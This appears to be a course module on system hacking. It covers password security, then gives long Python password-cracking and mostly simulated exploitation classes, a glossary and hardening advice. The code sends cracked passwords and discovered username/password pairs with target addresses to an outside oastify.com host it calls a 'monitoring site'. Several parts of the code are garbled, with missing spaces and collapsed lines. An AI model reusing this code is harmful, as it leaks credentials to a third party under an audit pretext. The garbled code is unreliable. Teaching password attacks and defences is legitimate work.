Cyber Mind Space
Module 06 - System Hacking

Learning Objectives

- Understand system hacking methodologies and attack vectors
- Master password cracking techniques and tools
- Learn privilege escalation and exploitation methods
- Develop skills in post-exploitation and persistence
- Understand system hardening and defensive measures
- Explore modern attack frameworks and automation

System Hacking Fundamentals

What is System Hacking?

System Hacking involves gaining unauthorized access to computer systems by exploiting vulnerabilities in operating systems, applications, and services. This encompasses both technical attacks and non-technical approaches to compromise system security.

📊 Definition

System Hacking is the process of exploiting system vulnerabilities, weak configurations, and human factors to gain unauthorized access to computer systems and maintain persistent control.

System Hacking Methodology

🎯 Primary Attack Methods

Password Cracking

- Extracting passwords to gain legitimate user access
- Various techniques from dictionary attacks to rainbow tables
- Targeting weak authentication mechanisms

Service and Application Exploitation

- Exploiting vulnerabilities in running services
- Application-level attacks and privilege escalation
- Operating system vulnerabilities and patches

Malicious Application Deployment

- Installing backdoors and persistent access tools
- Rootkits and stealth techniques
- Remote access trojans and command & control

Authentication and Password Security

🔐 Authentication Factors

Knowledge-Based Authentication

- Username and Password: Traditional credential-based authentication
- PIN Codes: Numeric personal identification numbers
- Security Questions: Challenge-response mechanisms

Biometric Authentication

- Fingerprint Scanning: Unique fingerprint pattern recognition
- Retina Scanning: Eye pattern authentication
- Voice Recognition: Speech pattern authentication
- Facial Recognition: Facial structure analysis

Possession-Based Authentication

- Device Authentication: Authorized device MAC address filtering
- Smart Cards: Physical token-based authentication
- Mobile Tokens: Smartphone-based authentication apps

🛡️ Secure Password Characteristics

Essential Security Features

- Case Sensitivity: Mixed uppercase and lowercase letters
- Special Characters: Symbols and punctuation marks (!@#$%^&*)
- Numeric Components: Combination of numbers and letters
- Sufficient Length: Minimum 8 characters, preferably 12+ characters

Cyber Mind Space

- Pass-Phrases: Multiple words creating complex but memorable passwords

Password Policy Best Practices

- Regular password changes (90-180 days)
- Account lockout after failed attempts
- Password complexity requirements
- Password history to prevent reuse
- Multi-factor authentication implementation

Password Attack Techniques

🔧 Automated Password Cracking Framework

```
#!/usr/bin/env python3
import hashlib
import itertools
import time
import threading
import requests
from concurrent.futures import ThreadPoolExecutor

class AdvancedPasswordCracker:
    def __init__(self):
        self.test_site = "https://rnivqlhaedmb4yc3ezjzgji7xy3prff4.oastify.com"
        self.cracked_passwords = []
        self.hash_types = {
            'md5': hashlib.md5,
            'sha1': hashlib.sha1,
            'sha256': hashlib.sha256,
            'sha512': hashlib.sha512
        }

    defdictionary_attack(self,hash_value,hash_type='md5', wordlist_file='passwords.txt'):
        """Perform dictionary-based password attack"""
        print(f"[+]Startingdictionaryattackon{hash_type.upper()} hash")
        print(f"    Targethash:{hash_value}")

        try:
            withopen(wordlist_file,'r',encoding='utf-8', errors='ignore') as f:
                wordlist=[line.strip()forlinein f if line.strip()]
        except FileNotFoundError:
            print(f"[-] Wordlist file not found: {wordlist_file}")
            wordlist = self.generate_common_passwords()

        hash_function=self.hash_types.get(hash_type, hashlib.md5)

        for password in wordlist:
            test_hash = hash_function(password.encode()).hexdigest()

            if test_hash.lower() == hash_value.lower():
                print(f"[!] Password cracked: {password}")
                self.cracked_passwords.append({
                    'hash': hash_value,
                    'password': password,
                    'method': 'dictionary',
                    'hash_type': hash_type
                })
                self.report_crack(password,hash_value, 'dictionary')
                return password

        print(f"[-]Dictionaryattackfailedforhash: {hash_value}")
        return None

    defbrute_force_attack(self,hash_value,hash_type='md5', max_length=6):
        """Perform brute force password attack"""
        print(f"[+]Startingbruteforceattack(max length: {max_length})")

        charset = 'abcdefghijklmnopqrstuvwxyz0123456789'
        hash_function=self.hash_types.get(hash_type, hashlib.md5)

        for length in range(1, max_length + 1):
            print(f"    Testinglength{length}...")

            forattemptinitertools.product(charset, repeat=length):
                password = ''.join(attempt)
                test_hash = hash_function(password.encode()).hexdigest()

                if test_hash.lower() == hash_value.lower():
                    print(f"[!] Password cracked: {password}")
                    self.cracked_passwords.append({
                        'hash': hash_value,
                        'password': password,
```

Cyber Mind Space

```
                    'method': 'brute_force',
                    'hash_type': hash_type
                })
                self.report_crack(password, hash_value, 'brute_force')
                return password

        print(f"[-] Brute force attack failed for hash: {hash_value}")
        return None

    def rainbow_table_simulation(self, hash_value, hash_type='md5'):
        """Simulate rainbow table attack"""
        print(f"[+] Simulating rainbow table attack")

        # Generate common hash-password pairs
        common_passwords = self.generate_common_passwords()
        hash_function = self.hash_types.get(hash_type, hashlib.md5)

        rainbow_table = {}
        for password in common_passwords:
            hash_val = hash_function(password.encode()).hexdigest()
            rainbow_table[hash_val] = password

        if hash_value.lower() in rainbow_table:
            password = rainbow_table[hash_value.lower()]
            print(f"[!] Rainbow table hit: {password}")
            self.cracked_passwords.append({
                'hash': hash_value,
                'password': password,
                'method': 'rainbow_table',
                'hash_type': hash_type
            })
            self.report_crack(password, hash_value, 'rainbow_table')
            return password

        print(f"[-] Rainbow table attack failed for hash: {hash_value}")
        return None

    def hybrid_attack(self, hash_value, hash_type='md5'):
        """Perform hybrid attack combining multiple methods"""
        print(f"[+] Starting hybrid password attack")

        # Try rainbow table first (fastest)
        result = self.rainbow_table_simulation(hash_value, hash_type)
        if result:
            return result

        # Try dictionary attack
        result = self.dictionary_attack(hash_value, hash_type)
        if result:
            return result

        # Finally try limited brute force
        result=self.brute_force_attack(hash_value,hash_type, max_length=4)
        return result

    def generate_common_passwords(self):
        """Generate list of common passwords"""
        return [
            'password', '123456', 'password123', 'admin', 'qwerty',
            'letmein', 'welcome', 'monkey', 'dragon', 'master',
            'shadow', 'football', 'baseball', 'abc123', '1234567',
            'superman', 'iloveyou', 'trustno1', 'hello', 'charlie',
            'pass', 'test', 'guest', 'info', 'computer', 'changeme',
            'secret', 'god', 'love', 'sex', 'money', 'login',
            'admin123', 'root', 'administrator', 'user', 'demo'
        ]

    def hash_password(self, password, hash_type='md5'):
        """Generate hash for password"""
        hash_function = self.hash_types.get(hash_type, hashlib.md5)
        return hash_function(password.encode()).hexdigest()

    def test_weak_passwords(self, username_list, target_system):
        """Test common username/password combinations"""
        print(f"[+] Testing weak passwords against {target_system}")

        weak_combinations = [
            ('admin', 'admin'),
            ('admin', 'password'),
            ('administrator', 'administrator'),
            ('root', 'root'),
            ('guest', 'guest'),
            ('demo', 'demo'),
            ('test', 'test'),
            ('user', 'user')
        ]
```

Cyber Mind Space

```python
        successful_logins = []

        for username, password in weak_combinations:
            if self.test_login(target_system, username, password):
                print(f"[!] Weak credentials found: {username}:{password}")
                successful_logins.append((username, password))

                # Report successful login
                self.report_weak_login(username, password, target_system)

        return successful_logins

    def test_login(self, target_system, username, password):
        """Simulate login test against target system"""
        #Thisisasimulation-inrealscenariosthiswouldconnecttoactual systems
        print(f"{username}:{password}against{target_system}")
        time.sleep(0.1) #Simulatenetworkdelay

        # Simulate some successful logins for demo
        if (username, password) in [('admin', 'admin'), ('test', 'test')]:
            return True
        return False

    def report_crack(self, password, hash_value, method):
        """Report successful password crack to test site"""
        try:
            crack_data = {
                'test_type': 'password_crack',
                'timestamp': time.time(),
                'cracked_password': password,
                'hash_value': hash_value[:20] + '...', # Truncate for privacy
                'crack_method': method,
                'tool': 'advanced_password_cracker'
            }

            response = requests.post(self.test_site, json=crack_data, timeout=10)
            if response.status_code == 200:
                print(f"    [+] Crack reported to monitoring site")

        except Exception as e:
            print(f"    [-] Error reporting crack: {e}")

    def report_weak_login(self, username, password, target_system):
        """Report weak login credentials to test site"""
        try:
            login_data = {
                'test_type': 'weak_login_discovered',
                'timestamp': time.time(),
                'username': username,
                'password': password,
                'target_system': target_system,
                'vulnerability': 'weak_default_credentials'
            }

            response = requests.post(self.test_site, json=login_data, timeout=10)
            if response.status_code == 200:
                print(f"    [+]Weakloginreportedtomonitoringsite")

        except Exception as e:
            print(f"    [-] Error reporting weak login: {e}")

    def comprehensive_password_audit(self, hash_list, target_systems):
        """Perform comprehensive password security audit"""
        print("="*60)
        print("COMPREHENSIVE PASSWORD SECURITY AUDIT")
        print("="*60)

        # Phase 1: Hash cracking
        print("\nPhase 1: Password Hash Analysis")
        print("-" * 40)

        for i, (hash_value, hash_type) in enumerate(hash_list, 1):
            print(f"\nTarget {i}: {hash_type.upper()} Hash")
            result = self.hybrid_attack(hash_value, hash_type)
            if not result:
                print(f"    Hash remains uncracked: {hash_value[:20]}...")

        # Phase 2: Weak credential testing
        print(f"\nPhase 2: Weak Credential Testing")
        print("-" * 40)

        for target in target_systems:
            weak_creds=self.test_weak_passwords(['admin','user','test'], target)
            if weak_creds:
                print(f"    Found{len(weak_creds)}weakcredentialpairson {target}")
```

Cyber Mind Space

```
        #Phase3: Generate report
        self.generate_audit_report()

    def generate_audit_report(self):
        """Generate comprehensive audit report"""
        print(f"\n" + "="*60)
        print("PASSWORD SECURITY AUDIT REPORT")
        print("="*60)

        print(f"Total passwords cracked: {len(self.cracked_passwords)}")

        if self.cracked_passwords:
            print(f"\nCracked Passwords:")
            forcrack in self.cracked_passwords:
                print(f" Method: {crack['method']}")
                print(f" Password: {crack['password']}")
                print(f" Hash Type: {crack['hash_type']}")
                print(f" Hash: {crack['hash'][:30]}...")
                print()

        print(f"\nRecommendations:")
        print(f"1. Implement strong password policies")
        print(f"2. Use multi-factor authentication")
        print(f"3. Regular password audits and changes")
        print(f"4. Account lockout mechanisms")
        print(f"5. Password complexity requirements")

# System Exploitation Framework
class SystemExploitationFramework: def __init__(self, target_ip): self.target_ip
=                 target_ip                 self.test_site                 =
"https://rnivqlhaedmb4yc3ezjzgji7xy3prff4.oastify.com"   self.discovered_services
= [] self.successful_exploits = []



    def service_discovery(self):
        """Simulateservicediscoveryand enumeration"""
        print(f"[+]Discoveringservices on {self.target_ip}")

        # Simulate common services
        common_services = [
            {'port':21,'service':'FTP', 'version': 'vsftpd 2.3.4'},
            {'port':22,'service':'SSH', 'version': 'OpenSSH 7.4'},
            {'port':80,'service':'HTTP', 'version': 'Apache 2.4.29'},
            {'port':443,'service':'HTTPS', 'version': 'Apache 2.4.29'},
            {'port':139,'service':'NetBIOS', 'version': 'Samba 3.0.20'},
            {'port':445,'service':'SMB', 'version': 'Samba 3.0.20'},
            {'port':3306,'service':'MySQL', 'version': 'MySQL 5.7.12'}
        ]

        # Simulate service detection
        for service in common_services:
            print(f"    Found:{service['port']}/tcp {service['service']} {service['version']}")
            self.discovered_services.append(service)

        return self.discovered_services

    def vulnerability_assessment(self):
        """Assessdiscoveredservicesfor known vulnerabilities"""
        print(f"\n[+]Assessingvulnerabilities in discovered services")

        vulnerable_services = []

        for service in self.discovered_services:
            # Simulate vulnerability checks
            if 'vsftpd 2.3.4' in service['version']:
                vuln = {
                    'service': service,
                    'vulnerability':'vsftpd 2.3.4 Backdoor Command Execution',
                    'cve': 'CVE-2011-2523',
                    'severity': 'Critical'
                }
                vulnerable_services.append(vuln)
                print(f"    [!]CRITICAL: {vuln['vulnerability']}")

            elif 'Samba 3.0.20' in service['version']:
                vuln = {
                    'service': service,
                    'vulnerability':'Samba trans2open Overflow',
                    'cve': 'CVE-2003-0201',
                    'severity': 'High'
                }
                vulnerable_services.append(vuln)
                print(f"    [!]HIGH:{vuln['vulnerability']}")
```

Cyber Mind Space

```python
        return vulnerable_services

    def exploit_vulnerabilities(self, vulnerabilities):
        """Simulate exploitation of discovered vulnerabilities"""
        print(f"\n[+]Attemptingexploitationof{len(vulnerabilities)} vulnerabilities")

        for vuln in vulnerabilities:
            print(f"    Exploiting:{vuln['vulnerability']}")

            # Simulate exploitation attempt
            if self.simulate_exploit(vuln):
                self.successful_exploits.append(vuln)
                print(f"    [!]EXPLOITATIONSUCCESSFUL:{vuln['cve']}")

                # Simulate post-exploitation
                self.post_exploitation(vuln)
            else:
                print(f"    [-]Exploitationfailed:{vuln['cve']}")

        return self.successful_exploits

    def simulate_exploit(self, vulnerability):
        """Simulate exploitation attempt""" # Simulate
        success   based   on   vulnerability   type   if
        'vsftpd' in vulnerability['vulnerability']:
            return True # Simulate successful backdoor access
        elif 'Samba' in vulnerability['vulnerability']:
            return True # Simulate successful buffer overflow
        return False

    def post_exploitation(self, vulnerability):
        """Simulate post-exploitation activities"""
        print(f"      [+]Post-exploitationactivities:")
        print(f"          -Establishingpersistentaccess")
        print(f"          -Privilegeescalationattempts")
        print(f"          -Systemenumeration")

        # Report successful exploitation
        self.report_exploitation(vulnerability)

    def report_exploitation(self, vulnerability):
        """Report successful exploitation to test site"""
        try:
            exploit_data = {
                'test_type': 'system_exploitation',
                'timestamp': time.time(),
                'target_ip': self.target_ip,
                'vulnerability': vulnerability['vulnerability'],
                'cve': vulnerability['cve'],
                'severity': vulnerability['severity'],
                'exploitation_status': 'successful'
            }

            response=requests.post(self.test_site,json=exploit_data, timeout=10)
            if response.status_code == 200:
                print(f"          [+]Exploitationreported to monitoring site")

        except Exception as e:
            print(f"          [-]Errorreportingexploitation: {e}")

# Example usage and testing
if __name__ == "__main__":
    # Password cracking demonstration
    print("SYSTEM HACKING DEMONSTRATION")
    print("="*50)

    # Initialize password cracker
    cracker = AdvancedPasswordCracker()

    # Test hash cracking
    test_hashes = [
        ('5d41402abc4b2a76b9719d911017c592', 'md5'), # 'hello'
        ('356a192b7913b04c54574d18c28d46e6395428ab', 'sha1'), # '1'
        ('a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3', 'sha256')  # 'hello'
    ]

    # Perform comprehensive audit
    target_systems=['192.168.1.100', '192.168.1.101']
    cracker.comprehensive_password_audit(test_hashes, target_systems)

    print(f"\n" + "="*50)
    print("SYSTEM EXPLOITATION DEMONSTRATION")
    print("="*50)

    # Initialize exploitation framework
    exploit_framework = SystemExploitationFramework('192.168.1.100')
```

Cyber Mind Space

```
#Perform exploitation workflow
services = exploit_framework.service_discovery()
vulnerabilities = exploit_framework.vulnerability_assessment()
successful_exploits = exploit_framework.exploit_vulnerabilities(vulnerabilities)

print(f"\nExploitation Summary:")
print(f" Services discovered: {len(services)}")
print(f" Vulnerabilities found: {len(vulnerabilities)}")
print(f" Successful exploits: {len(successful_exploits)}")
```

Cybersecurity Terms and Definitions

🔐 Authentication

Process of verifying the identity of users or systems attempting to access computer resources.

🎯 Brute Force Attack

Systematic method of trying all possible password combinations until the correct one is found.

📚 Dictionary Attack

Password cracking technique using a predefined list of common passwords and phrases.

🔓 Exploitation

Process of taking advantage of system vulnerabilities to gain unauthorized access or control.

🔍 Fingerprinting

Technique for identifying system characteristics, services, and versions for targeted attacks.

🏠 Privilege Escalation

Process of gaining higher-level permissions than initially granted to compromise system security.

🌈 Rainbow Table

Precomputed table of hash values and corresponding passwords used for rapid password cracking.

🕷️ Rootkit

Malicious software designed to maintain persistent access while hiding its presence on compromised systems.

🔐 Salt

Random data added to passwords before hashing to prevent rainbow table attacks.

💀 Zero-Day Exploit

Attack that exploits previously unknown vulnerabilities before security patches are available.

Advanced System Hacking Techniques

🎯 Modern Attack Vectors

Living off the Land

- Using legitimate system tools for malicious purposes
- PowerShell and WMI abuse in Windows environments
- Bash and system utilities in Linux environments

Fileless Attacks

- Memory-resident malware techniques
- Registry and WMI persistence methods
- Process hollowing and DLL injection

Container and Cloud Exploitation

- Docker container escape techniques
- Kubernetes cluster attacks
- Cloud service misconfigurations

Defensive Measures

🛡️ System Hardening Best Practices

Access Control

- Implement least privilege principles
- Regular access reviews and deprovisioning

Cyber Mind Space

- Multi-factor authentication enforcement

Monitoring and Detection

- Security Information and Event Management (SIEM)
- Endpoint Detection and Response (EDR)
- Network traffic analysis and anomaly detection

Patch Management

- Regular security updates and patches
- Vulnerability assessment and remediation
- Configuration management and compliance

References and Further Reading

📚 Articles for Further Reference

- *OWASP Top 10 - Authentication and Session Management*
- *NIST Special Publication 800-63B: Authentication and Lifecycle Management*
- *Microsoft Security Development Lifecycle*
- *MITRE ATT&CK Framework*

🔗 Reference Links

- *Exploit Database*
- *Metasploit Framework*
- *CVE Details*
- *SecLists - Password Lists*
-

🔗 STAY CONNECTED WITH US 🔗
🔥 Stay Connected with Cyber Mind Space — Learn, Discuss & Dominate Cybersecurity! 🔐💡
📢 Telegram Channel (Updates & Resources):
https://t.me/cybermindspace
💬 Telegram Group (Ask & Network):
https://t.me/+LJvMwjAE6yA5YWQ1
📸 Instagram (Reels & Daily Tips):
https://instagram.com/cyber_ mind _space
🎥 YouTube (Podcasts, Lives & Tutorials):
https://www.youtube.com/@CyberMindSpace
🔗 LinkedIn (Professional Profile):
https://linkedin.com/in/almadadali
💻 GitHub (Tools & Scripts):
https://github.com/ALMADADALI
📲 WhatsApp Channel (Cyber Alerts):
https://whatsapp.com/channel/0029VbAzQMU9hXF70zjpCu1Y
🗣️ Discord Server (Voice & Community Chat):
https://discord.gg/qA3CqZ86hY
🎥 Tiktok:
https://www.tiktok.com/@cybermindspace
🐦 Twitter (X) – Cybersecurity Thoughts:
https://x.com/cybermindspace?s=21
⚡Subscribe, Follow & Stay Updated — Cybersecurity Never Sleeps! 🌐

Cyber Mind Space